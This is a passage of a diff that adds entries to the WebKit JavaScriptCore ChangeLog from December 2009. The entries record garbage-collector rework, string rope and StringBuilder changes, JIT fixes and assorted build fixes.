+        Reviewed by Mark Rowe.
+
+        Add BUILDING_ON_SNOW_LEOPARD and TARGETING_SNOW_LEOPARD #defines.
+
+        * wtf/Platform.h:
+
+2009-12-17  Adam Roben  <aroben@apple.com>
+
+        Sync JavaScriptCore.vcproj with JavaScriptCore.xcodeproj and the
+        source tree
+
+        Fixes <http://webkit.org/b/32665>.
+
+        Reviewed by Ada Chan.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj: Moved
+        around files and filters so that the structure matches
+        JavaScriptCore.xcodeproj and the source tree. A few headers that were
+        previously omitted have been added, as well as JSZombie.{cpp,h}.
+
+2009-12-17  Adam Roben  <aroben@apple.com>
+
+        Remove HeavyProfile and TreeProfile completely
+
+        These were mostly removed in r42808, but the empty files were left in
+        place.
+
+        Fixes <http://webkit.org/b/32664>.
+
+        Reviewed by John Sullivan.
+
+        * Android.mk:
+        * GNUmakefile.am:
+        * JavaScriptCore.gypi:
+        * JavaScriptCore.pri:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj:
+        * JavaScriptCoreSources.bkl:
+        Removed HeavyProfile/TreeProfile source files.
+
+        * profiler/HeavyProfile.cpp: Removed.
+        * profiler/HeavyProfile.h: Removed.
+        * profiler/TreeProfile.cpp: Removed.
+        * profiler/TreeProfile.h: Removed.
+
+2009-12-17  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GTK] WebKit GTK needs a wrapper for ref counted glib/gobject structs
+        https://bugs.webkit.org/show_bug.cgi?id=21599
+
+        Implement GRefPtr, a smart pointer for reference counted GObject types.
+
+        * GNUmakefile.am:
+        * wtf/gtk/GOwnPtr.cpp:
+        (WTF::GDir):
+        * wtf/gtk/GRefPtr.h: Added.
+        (WTF::):
+        (WTF::GRefPtr::GRefPtr):
+        (WTF::GRefPtr::~GRefPtr):
+        (WTF::GRefPtr::clear):
+        (WTF::GRefPtr::get):
+        (WTF::GRefPtr::operator*):
+        (WTF::GRefPtr::operator->):
+        (WTF::GRefPtr::operator!):
+        (WTF::GRefPtr::operator UnspecifiedBoolType):
+        (WTF::GRefPtr::hashTableDeletedValue):
+        (WTF::::operator):
+        (WTF::::swap):
+        (WTF::swap):
+        (WTF::operator==):
+        (WTF::operator!=):
+        (WTF::static_pointer_cast):
+        (WTF::const_pointer_cast):
+        (WTF::getPtr):
+        (WTF::adoptGRef):
+        (WTF::refGPtr):
+        (WTF::derefGPtr):
+
+2009-12-17  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed. Build fixes for make distcheck.
+
+        * GNUmakefile.am:
+
+2009-12-16  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fixed <rdar://problem/7355025> Interpreter::privateExecute macro generates
+        bloated code
+        
+        This patch cuts Interpreter stack use by about a third.
+
+        * bytecode/Opcode.h: Changed Opcode to const void* to work with the
+        const static initiliazation we want to do in Interpreter::privateExecute.
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::Interpreter): Moved hashtable initialization here to
+        avoid polluting Interpreter::privateExecute's stack, and changed it from a
+        series of add() calls to one add() call in a loop, to cut down on code size.
+
+        (JSC::Interpreter::privateExecute): Changed a series of label computations
+        to a copy of a compile-time constant array to cut down on code size.
+
+2009-12-16  Mark Rowe  <mrowe@apple.com>
+
+        Build fix.  Disable debug variants of WebKit frameworks.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+
+2009-12-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam "r=me" Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32498
+        <rdar://problem/7471495>
+        REGRESSION(r51978-r52039): AJAX "Mark This Forum Read" function no longer
+        works
+        
+        Fixed a tyop.
+
+        * runtime/Operations.h:
+        (JSC::jsAdd): Use the '&&' operator, not the ',' operator.
+
+2009-12-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Try to fix the windows build: don't export this inlined function.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2009-12-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        Inlined JSCell's operator new.
+        
+        3.7% speedup on bench-allocate-nonretained.js.
+
+        * JavaScriptCore.exp:
+        * runtime/JSCell.cpp:
+        * runtime/JSCell.h:
+        (JSC::JSCell::operator new):
+
+2009-12-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Removed the number heap, replacing it with a one-item free list for
+        numbers, taking advantage of the fact that two number cells fit inside
+        the space for one regular cell, and number cells don't require destruction.
+        
+        SunSpider says 1.6% faster in JSVALUE32 mode (the only mode that
+        heap-allocates numbers).
+        
+        SunSpider says 1.1% faster in JSVALUE32_64 mode. v8 says 0.8% faster
+        in JSVALUE32_64 mode. 10% speedup on bench-alloc-nonretained.js. 6%
+        speedup on bench-alloc-retained.js.
+        
+        There's a lot of formulaic change in this patch, but not much substance.
+
+        * JavaScriptCore.exp:
+        * debugger/Debugger.cpp:
+        (JSC::Debugger::recompileAllJSFunctions):
+        * runtime/Collector.cpp:
+        (JSC::Heap::Heap):
+        (JSC::Heap::destroy):
+        (JSC::Heap::allocateBlock):
+        (JSC::Heap::freeBlock):
+        (JSC::Heap::freeBlockPtr):
+        (JSC::Heap::freeBlocks):
+        (JSC::Heap::recordExtraCost):
+        (JSC::Heap::allocate):
+        (JSC::Heap::resizeBlocks):
+        (JSC::Heap::growBlocks):
+        (JSC::Heap::shrinkBlocks):
+        (JSC::Heap::markConservatively):
+        (JSC::Heap::clearMarkBits):
+        (JSC::Heap::markedCells):
+        (JSC::Heap::sweep):
+        (JSC::Heap::markRoots):
+        (JSC::Heap::objectCount):
+        (JSC::Heap::addToStatistics):
+        (JSC::Heap::statistics):
+        (JSC::Heap::isBusy):
+        (JSC::Heap::reset):
+        (JSC::Heap::collectAllGarbage):
+        (JSC::Heap::primaryHeapBegin):
+        (JSC::Heap::primaryHeapEnd):
+        * runtime/Collector.h:
+        (JSC::): Removed all code pertaining to the number heap, and changed all
+        heap template functions and classes to non-template functions and classes.
+
+        (JSC::Heap::allocateNumber): A new optimization to replace the number
+        heap: allocate half-sized number cells in pairs, returning the first
+        cell and caching the second cell for the next allocation.
+
+        * runtime/CollectorHeapIterator.h:
+        (JSC::LiveObjectIterator::LiveObjectIterator):
+        (JSC::LiveObjectIterator::operator++):
+        (JSC::DeadObjectIterator::DeadObjectIterator):
+        (JSC::DeadObjectIterator::operator++):
+        (JSC::ObjectIterator::ObjectIterator):
+        (JSC::ObjectIterator::operator++):
+        * runtime/JSCell.h:
+        (JSC::JSCell::isNumber): Removed all code pertaining to the number heap,
+        and changed all heap template functions and classes to non-template functions
+        and classes.
+
+2009-12-15  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WeakGCMap class
+        https://bugs.webkit.org/show_bug.cgi?id=32547
+
+        Inherits WeakGCMap from FastAllocBase because it is instantiated by
+        'new' at: WebCore/dom/Document.cpp:512.
+
+        * runtime/WeakGCMap.h:
+
+2009-12-15  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for dtoa's P5Node struct
+        https://bugs.webkit.org/show_bug.cgi?id=32544
+
+        Inherits P5Node struct from Noncopyable because it is instantiated by
+        'new' at wtf/dtoa.cpp:588 and don't need to be copyable.
+
+        * wtf/dtoa.cpp:
+
+2009-12-14  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32524
+        REGRESSION(52084): fast/dom/prototypes.html failing two CSS tests
+
+        * wtf/StdLibExtras.h:
+        (WTF::bitCount): The original patch put the parentheses in the wrong
+        place, completely changing the calculation and making it almost always
+        wrong. Moved the parentheses around the '+' operation, like the original
+        compiler warning suggested.
+
+2009-12-14  Gabor Loki  <loki@inf.u-szeged.hu>
+
+        Unreviewed trivial buildfix.
+
+        Fix crosses initialization of usedPrimaryBlocks for JSValue32
+
+        * runtime/Collector.cpp:
+        (JSC::Heap::markConservatively):
+
+2009-12-14  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        GCC 4.3.x warning fixed. Suggested parantheses added.
+        warning: ../../../JavaScriptCore/wtf/StdLibExtras.h:77: warning: suggest parentheses around + or - in operand of &
+
+        * wtf/StdLibExtras.h:
+        (WTF::bitCount):
+
+2009-12-13  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+        
+        Changed GC from mark-sweep to mark-allocate.
+        
+        Added WeakGCMap to keep WebCore blissfully ignorant about objects that
+        have become garbage but haven't run their destructors yet.
+        
+        1% SunSpider speedup.
+        7.6% v8 speedup (37% splay speedup).
+        17% speedup on bench-alloc-nonretained.js.
+        18% speedup on bench-alloc-retained.js.
+
+        * API/JSBase.cpp:
+        (JSGarbageCollect):
+        * API/JSContextRef.cpp:
+        * JavaScriptCore.exp:
+        * JavaScriptCore.xcodeproj/project.pbxproj: Updated for renames and new
+        files.
+
+        * debugger/Debugger.cpp:
+        (JSC::Debugger::recompileAllJSFunctions): Updated to use the Collector
+        iterator abstraction.
+
+        * jsc.cpp:
+        (functionGC): Updated for rename.
+
+        * runtime/Collector.cpp: Slightly reduced the number of allocations per
+        collection, so that small workloads only allocate on collector block,
+        rather than two.
+
+        (JSC::Heap::Heap): Updated to use the new allocateBlock function.
+
+        (JSC::Heap::destroy): Updated to use the new freeBlocks function.
+
+        (JSC::Heap::allocateBlock): New function to initialize a block when
+        allocating it.
+
+        (JSC::Heap::freeBlock): Consolidated the responsibility for running
+        destructors into this function.
+
+        (JSC::Heap::freeBlocks): Updated to use freeBlock.
+
+        (JSC::Heap::recordExtraCost): Sweep the heap in this reporting function,
+        so that allocation, which is more common, doesn't have to check extraCost.
+
+        (JSC::Heap::heapAllocate): Run destructors right before recycling a
+        garbage cell. This has better cache utilization than a separate sweep phase.
+
+        (JSC::Heap::resizeBlocks):
+        (JSC::Heap::growBlocks):
+        (JSC::Heap::shrinkBlocks): New set of functions for managing the size of
+        the heap, now that the heap doesn't maintain any information about its
+        size.
+
+        (JSC::isPointerAligned):
+        (JSC::isHalfCellAligned):
+        (JSC::isPossibleCell):
+        (JSC::isCellAligned):
+        (JSC::Heap::markConservatively): Cleaned up this code a bit.
+
+        (JSC::Heap::clearMarkBits):
+        (JSC::Heap::markedCells): Some helper functions for examining the the mark
+        bitmap.
+
+        (JSC::Heap::sweep): Simplified this function by using a DeadObjectIterator.
+
+        (JSC::Heap::markRoots): Reordered some operations for clarity.
+
+        (JSC::Heap::objectCount):
+        (JSC::Heap::addToStatistics):
+        (JSC::Heap::statistics): Rewrote these functions to calculate an object
+        count on demand, since the heap doesn't maintain this information by 
+        itself.
+
+        (JSC::Heap::reset): New function for resetting the heap once we've
+        exhausted heap space.
+
+        (JSC::Heap::collectAllGarbage): This function matches the old collect()
+        behavior, but it's now an uncommon function used only by API.
+
+        * runtime/Collector.h:
+        (JSC::CollectorBitmap::count):
+        (JSC::CollectorBitmap::isEmpty): Added some helper functions for managing
+        the collector mark bitmap.
+
+        (JSC::Heap::reportExtraMemoryCost): Changed reporting from cell equivalents
+        to bytes, so it's easier to understand.
+        
+        * runtime/CollectorHeapIterator.h:
+        (JSC::CollectorHeapIterator::CollectorHeapIterator):
+        (JSC::CollectorHeapIterator::operator!=):
+        (JSC::CollectorHeapIterator::operator*):
+        (JSC::CollectorHeapIterator::advance):
+        (JSC::::LiveObjectIterator):
+        (JSC::::operator):
+        (JSC::::DeadObjectIterator):
+        (JSC::::ObjectIterator): New iterators for encapsulating details about
+        heap layout, and what's live and dead on the heap.
+
+        * runtime/JSArray.cpp:
+        (JSC::JSArray::putSlowCase):
+        (JSC::JSArray::increaseVectorLength): Delay reporting extra cost until
+        we're fully constructed, so the heap mark phase won't visit us in an
+        invalid state.
+
+        * runtime/JSCell.h:
+        (JSC::JSCell::):
+        (JSC::JSCell::createDummyStructure):
+        (JSC::JSCell::JSCell):
+        * runtime/JSGlobalData.cpp:
+        (JSC::JSGlobalData::JSGlobalData):
+        * runtime/JSGlobalData.h: Added a dummy cell to simplify allocation logic.
+
+        * runtime/JSString.h:
+        (JSC::jsSubstring): Don't report extra cost for substrings, since they
+        share a buffer that's already reported extra cost.
+
+        * runtime/Tracing.d:
+        * runtime/Tracing.h: Changed these dtrace hooks not to report object
+        counts, since they're no longer cheap to compute.
+
+        * runtime/UString.h: Updated for renames.
+
+        * runtime/WeakGCMap.h: Added.
+        (JSC::WeakGCMap::isEmpty):
+        (JSC::WeakGCMap::uncheckedGet):
+        (JSC::WeakGCMap::uncheckedBegin):
+        (JSC::WeakGCMap::uncheckedEnd):
+        (JSC::::get):
+        (JSC::::take):
+        (JSC::::set):
+        (JSC::::uncheckedRemove): Mentioned above.
+
+        * wtf/StdLibExtras.h:
+        (WTF::bitCount): Added a bit population count function, so the heap can
+        count live objects to fulfill statistics questions.
+
+The very last cell in the block is not allocated -- should not be marked.
+
+2009-12-13  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: Export some new symbols.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2009-12-13  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: Removed some old exports.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2009-12-13  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: Use unsigned instead of uint32_t to avoid dependencies.
+
+        * wtf/StdLibExtras.h:
+        (WTF::bitCount):
+
+2009-12-13  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (speculative Windows build fix).
+
+        * runtime/JSGlobalObjectFunctions.cpp:
+
+2009-12-13  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32496
+        Switch remaining cases of string construction to use StringBuilder.
+        Builds strings using a vector rather than using string append / addition.
+
+        * JavaScriptCore.exp:
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * runtime/Executable.cpp:
+        (JSC::FunctionExecutable::paramString):
+        * runtime/FunctionConstructor.cpp:
+        (JSC::constructFunction):
+        * runtime/JSGlobalObjectFunctions.cpp:
+        (JSC::encode):
+        (JSC::decode):
+        (JSC::globalFuncEscape):
+        (JSC::globalFuncUnescape):
+        * runtime/JSONObject.cpp:
+        (JSC::Stringifier::stringify):
+        (JSC::Stringifier::indent):
+        * runtime/JSString.h:
+        * runtime/LiteralParser.cpp:
+        (JSC::LiteralParser::Lexer::lexString):
+        * runtime/NumberPrototype.cpp:
+        (JSC::integerPartNoExp):
+        (JSC::numberProtoFuncToFixed):
+        (JSC::numberProtoFuncToPrecision):
+        * runtime/Operations.h:
+        (JSC::jsString):
+        * runtime/StringPrototype.cpp:
+        (JSC::substituteBackreferencesSlow):
+        (JSC::substituteBackreferences):
+        (JSC::stringProtoFuncConcat):
+
+2009-12-08  Jeremy Moskovich  <jeremy@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add code to allow toggling ATSUI/Core Text rendering at runtime in ComplexTextController.
+        https://bugs.webkit.org/show_bug.cgi?id=31802
+
+        The goal here is to allow for a zero runtime hit for ports that decide to select
+        the API at compile time.
+        When both USE(ATSUI) and USE(CORE_TEXT) are true, the API is toggled
+        at runtime.  Core Text is used for OS Versions >= 10.6.
+
+        * wtf/Platform.h: #define USE_CORE_TEXT and USE_ATSUI on Chrome/Mac.
+
+2009-12-11  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Unify codegen for forward and backward variants of branches
+        https://bugs.webkit.org/show_bug.cgi?id=32463
+
+        * jit/JIT.h:
+        (JSC::JIT::emit_op_loop): Implemented in terms of forward variant.
+        (JSC::JIT::emit_op_loop_if_true): ditto
+        (JSC::JIT::emitSlow_op_loop_if_true): ditto
+        (JSC::JIT::emit_op_loop_if_false): ditto
+        (JSC::JIT::emitSlow_op_loop_if_false): ditto
+        (JSC::JIT::emit_op_loop_if_less): ditto
+        (JSC::JIT::emitSlow_op_loop_if_less): ditto
+        * jit/JITOpcodes.cpp:
+
+2009-12-11  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Allow WTFs concept of the main thread to differ from pthreads when necessary.
+
+        * wtf/ThreadingPthreads.cpp:
+        (WTF::initializeThreading):
+        (WTF::isMainThread):
+        * wtf/mac/MainThreadMac.mm:
+        (WTF::initializeMainThreadPlatform):
+        (WTF::scheduleDispatchFunctionsOnMainThread):
+
+2009-12-11  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32454
+        Refactor construction of simple strings to avoid string concatenation.
+
+        Building strings through concatenation has a memory and performance cost -
+        a memory cost since we must over-allocate the buffer to leave space to append
+        into, and performance in that the string may still require reallocation (and
+        thus copying during construction).  Instead move the full construction to
+        within a single function call (makeString), so that the arguments' lengths
+        can be calculated and an appropriate sized buffer allocated before copying
+        any characters.
+
+        ~No performance change (~2% progression on date tests).
+
+        * bytecode/CodeBlock.cpp:
+        (JSC::escapeQuotes):
+        (JSC::valueToSourceString):
+        (JSC::constantName):
+        (JSC::idName):
+        (JSC::CodeBlock::registerName):
+        (JSC::regexpToSourceString):
+        (JSC::regexpName):
+        * bytecompiler/NodesCodegen.cpp:
+        (JSC::substitute):
+        * profiler/Profiler.cpp:
+        (JSC::Profiler::createCallIdentifier):
+        * runtime/DateConstructor.cpp:
+        (JSC::callDate):
+        * runtime/DateConversion.cpp:
+        (JSC::formatDate):
+        (JSC::formatDateUTCVariant):
+        (JSC::formatTime):
+        (JSC::formatTimeUTC):
+        * runtime/DateConversion.h:
+        (JSC::):
+        * runtime/DatePrototype.cpp:
+        (JSC::dateProtoFuncToString):
+        (JSC::dateProtoFuncToUTCString):
+        (JSC::dateProtoFuncToDateString):
+        (JSC::dateProtoFuncToTimeString):
+        (JSC::dateProtoFuncToGMTString):
+        * runtime/ErrorPrototype.cpp:
+        (JSC::errorProtoFuncToString):
+        * runtime/ExceptionHelpers.cpp:
+        (JSC::createUndefinedVariableError):
+        (JSC::createErrorMessage):
+        (JSC::createInvalidParamError):
+        * runtime/FunctionPrototype.cpp:
+        (JSC::insertSemicolonIfNeeded):
+        (JSC::functionProtoFuncToString):
+        * runtime/ObjectPrototype.cpp:
+        (JSC::objectProtoFuncToString):
+        * runtime/RegExpConstructor.cpp:
+        (JSC::constructRegExp):
+        * runtime/RegExpObject.cpp:
+        (JSC::RegExpObject::match):
+        * runtime/RegExpPrototype.cpp:
+        (JSC::regExpProtoFuncCompile):
+        (JSC::regExpProtoFuncToString):
+        * runtime/StringPrototype.cpp:
+        (JSC::stringProtoFuncBig):
+        (JSC::stringProtoFuncSmall):
+        (JSC::stringProtoFuncBlink):
+        (JSC::stringProtoFuncBold):
+        (JSC::stringProtoFuncFixed):
+        (JSC::stringProtoFuncItalics):
+        (JSC::stringProtoFuncStrike):
+        (JSC::stringProtoFuncSub):
+        (JSC::stringProtoFuncSup):
+        (JSC::stringProtoFuncFontcolor):
+        (JSC::stringProtoFuncFontsize):
+        (JSC::stringProtoFuncAnchor):
+        * runtime/UString.h:
+        (JSC::):
+        (JSC::makeString):
+
+2009-12-10  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32400
+        Switch remaining cases of string addition to use ropes.
+
+        Re-landing r51975 - added toPrimitiveString method,
+        performs toPrimitive then subsequent toString operations.
+
+        ~1% progression on Sunspidey.
+
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/JSString.h:
+        (JSC::JSString::JSString):
+        (JSC::JSString::appendStringInConstruct):
+        * runtime/Operations.cpp:
+        (JSC::jsAddSlowCase):
+        * runtime/Operations.h:
+        (JSC::jsString):
+        (JSC::jsAdd):
+
+2009-12-11  Adam Roben  <aroben@apple.com>
+
+        Windows build fix
+
+        * JavaScriptCore.vcproj/jsc/jscCommon.vsprops: Added
+        $(WebKitOutputDir)/include/private to the include path.
+
+2009-12-11  Adam Roben  <aroben@apple.com>
+
+        Move QuartzCorePresent.h to include/private
+
+        This fixes other projects that use wtf/Platform.h
+
+        Rubber-stamped by Steve Falkenburg.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj: Let VS do its thang.
+        * JavaScriptCore.vcproj/JavaScriptCore/build-generated-files.sh: Write
+        QuartzCorePresent.h to $(WebKitOutputDir)/include/private.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCoreCommon.vsprops:
+        * JavaScriptCore.vcproj/WTF/WTFCommon.vsprops:
+        Added $(WebKitOutputDir)/include/private to the include path.
+
+2009-12-11  Adam Roben  <aroben@apple.com>
+
+        Fix clean builds and everything rebuilding on every build
+
+        Reviewed by Sam Weinig.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/build-generated-files.sh: Don't
+        write out QuartzCorePresent.h if it exists but is older than
+        QuartzCore.h. Also, create the directory we write QuartzCorePresent.h
+        into first.
+
+2009-12-11  Adam Roben  <aroben@apple.com>
+
+        Windows build fix for systems with spaces in their paths
+
+        * JavaScriptCore.vcproj/JavaScriptCore/build-generated-files.sh: Quote some paths.
+
+2009-12-11  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Add check for presence of QuartzCore headers
+        https://bugs.webkit.org/show_bug.cgi?id=31856
+        
+        The script now checks for the presence of QuartzCore.h. If present
+        it will turn on ACCELERATED_COMPOSITING and 3D_RENDERING to enable
+        HW compositing on Windows. The script writes QuartzCorePresent.h to
+        the build directory which has a define telling whether QuartzCore is 
+        present.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/build-generated-files.sh:
+        * wtf/Platform.h:
+
+2009-12-11  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix a problem that JSC::gregorianDateTimeToMS() returns a negative
+        value for a huge year value.
+        https://bugs.webkit.org/show_bug.cgi?id=32304
+
+        * wtf/DateMath.cpp:
+        (WTF::dateToDaysFrom1970): Renamed from dateToDayInYear, and changed the return type to double.
+        (WTF::calculateDSTOffset): Follow the dateToDaysFrom1970() change.
+        (WTF::timeClip): Use maxECMAScriptTime.
+        (JSC::gregorianDateTimeToMS): Follow the dateToDaysFrom1970() change.
+
+2009-12-10  Adam Barth  <abarth@webkit.org>
+
+        No review, rolling out r51975.
+        http://trac.webkit.org/changeset/51975
+
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/JSString.h:
+        (JSC::JSString::JSString):
+        (JSC::JSString::appendStringInConstruct):
+        * runtime/Operations.cpp:
+        (JSC::jsAddSlowCase):
+        * runtime/Operations.h:
+        (JSC::jsString):
+        (JSC::jsAdd):
+
+2009-12-10  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Incorrect caching of prototype lookup with dictionary base
+        https://bugs.webkit.org/show_bug.cgi?id=32402
+
+        Make sure we don't add cached prototype lookup to the proto_list
+        lookup chain if the top level object is a dictionary.
+
+        * jit/JITStubs.cpp:
+        (JSC::JITThunks::tryCacheGetByID):
+
+2009-12-10  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32400
+        Switch remaining cases of string addition to use ropes.
+
+        ~1% progression on Sunspidey.
+
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/JSString.h:
+        (JSC::JSString::JSString):
+        (JSC::JSString::appendStringInConstruct):
+        * runtime/Operations.cpp:
+        (JSC::jsAddSlowCase):
+        * runtime/Operations.h:
+        (JSC::jsString):
+        (JSC::jsAdd):
+
+2009-12-10  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Geoffrey Garen.
+
+        Remove JSObject::getPropertyAttributes() and all usage of it.
+        https://bugs.webkit.org/show_bug.cgi?id=31933
+
+        getOwnPropertyDescriptor() should be used instead.
+
+        * JavaScriptCore.exp:
+        * JavaScriptCore.order:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        * debugger/DebuggerActivation.cpp:
+        (JSC::DebuggerActivation::getOwnPropertyDescriptor):
+        * debugger/DebuggerActivation.h:
+        * runtime/JSObject.cpp:
+        (JSC::JSObject::propertyIsEnumerable):
+        * runtime/JSObject.h:
+        * runtime/JSVariableObject.cpp:
+        * runtime/JSVariableObject.h:
+
+2009-12-10  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt & Mark Rowe.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32367
+        Add support for short Ropes (up to 3 entries) inline within JSString.
+        (rather than externally allocating an object to hold the rope).
+        Switch jsAdd of (JSString* + JSString*) to now make use of Ropes.
+
+        ~1% progression on Sunspidey.
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::privateExecute):
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::privateCompileCTIMachineTrampolines):
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope):
+        (JSC::JSString::toBoolean):
+        (JSC::JSString::getStringPropertyDescriptor):
+        * runtime/JSString.h:
+        (JSC::JSString::Rope::Fiber::deref):
+        (JSC::JSString::Rope::Fiber::ref):
+        (JSC::JSString::Rope::Fiber::refAndGetLength):
+        (JSC::JSString::Rope::append):
+        (JSC::JSString::JSString):
+        (JSC::JSString::~JSString):
+        (JSC::JSString::value):
+        (JSC::JSString::tryGetValue):
+        (JSC::JSString::length):
+        (JSC::JSString::canGetIndex):
+        (JSC::JSString::appendStringInConstruct):
+        (JSC::JSString::appendValueInConstructAndIncrementLength):
+        (JSC::JSString::isRope):
+        (JSC::JSString::string):
+        (JSC::JSString::ropeLength):
+        (JSC::JSString::getStringPropertySlot):
+        * runtime/Operations.h:
+        (JSC::jsString):
+        (JSC::jsAdd):
+        (JSC::resolveBase):
+
+2009-12-09  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        Fix three more things found by compiling with clang++.
+        
+        * runtime/Structure.h:
+        (JSC::StructureTransitionTable::reifySingleTransition):
+        Add the 'std' qualifier to the call to make_pair.
+
+        * wtf/DateMath.cpp:
+        (WTF::initializeDates):
+        Incrementing a bool is deprecated according to the C++ specification.
+        
+        * wtf/PtrAndFlags.h:
+        (WTF::PtrAndFlags::PtrAndFlags):
+        Name lookup should not be done in dependent bases, so explicitly qualify the call to set.
+
+2009-12-09  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Google reader gets stuck in the "Loading..." state and does not complete
+        https://bugs.webkit.org/show_bug.cgi?id=32256
+        <rdar://problem/7456388>
+
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emitSlow_op_jless): Fix some backward branches.
+
+2009-12-09  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32228
+        Make destruction of ropes non-recursive to prevent stack exhaustion.
+        Also, pass a UString& into initializeFiber rather than a Ustring::Rep*,
+        since the Rep is not being ref counted this could result in usage of a
+        Rep with refcount zero (where the Rep comes from a temporary UString
+        returned from a function).
+
+        * runtime/JSString.cpp:
+        (JSC::JSString::Rope::destructNonRecursive):
+        (JSC::JSString::Rope::~Rope):
+        * runtime/JSString.h:
+        (JSC::JSString::Rope::initializeFiber):
+        * runtime/Operations.h:
+        (JSC::concatenateStrings):
+
+2009-12-09  Zoltan Herczeg  <zherczeg@inf.u-szeged.hu>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31930
+
+        Update to r51457. ASSERTs changed to COMPILE_ASSERTs.
+        The speedup is 25%.
+
+        * runtime/JSGlobalData.cpp:
+        (JSC::VPtrSet::VPtrSet):
+
+2009-12-09  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Updates Android Makefiles with latest additions.
+        https://bugs.webkit.org/show_bug.cgi?id=32278
+
+        * Android.mk: Modified.
+        * Android.v8.wtf.mk: Modified.
+
+2009-12-09  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Gavin Barraclough.
+
+        Fix a bug found while trying to compile JavaScriptCore with clang++.
+
+        * yarr/RegexPattern.h:
+        (JSC::Yarr::PatternTerm::PatternTerm): Don't self assign here.  Use false instead.
+
+2009-12-09  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Attempt to fix the Windows build.
+        
+        * wtf/FastMalloc.h:
+
+2009-12-09  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix some things found while trying to compile JavaScriptCore with clang++.
+
+        * wtf/FastMalloc.h:
+        Add correct exception specifications for the allocation/deallocation operators.
+        
+        * wtf/Vector.h:
+        * wtf/VectorTraits.h:
+        Fix a bunch of struct/class mismatches.
+
+2009-12-08  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Darin Adler.
+
+        move code generation portions of Nodes.cpp to bytecompiler directory
+        https://bugs.webkit.org/show_bug.cgi?id=32284
+
+        * bytecompiler/NodesCodegen.cpp: Copied from parser/Nodes.cpp. Removed parts that
+        are not about codegen.
+        * parser/Nodes.cpp: Removed everything that is about codegen.
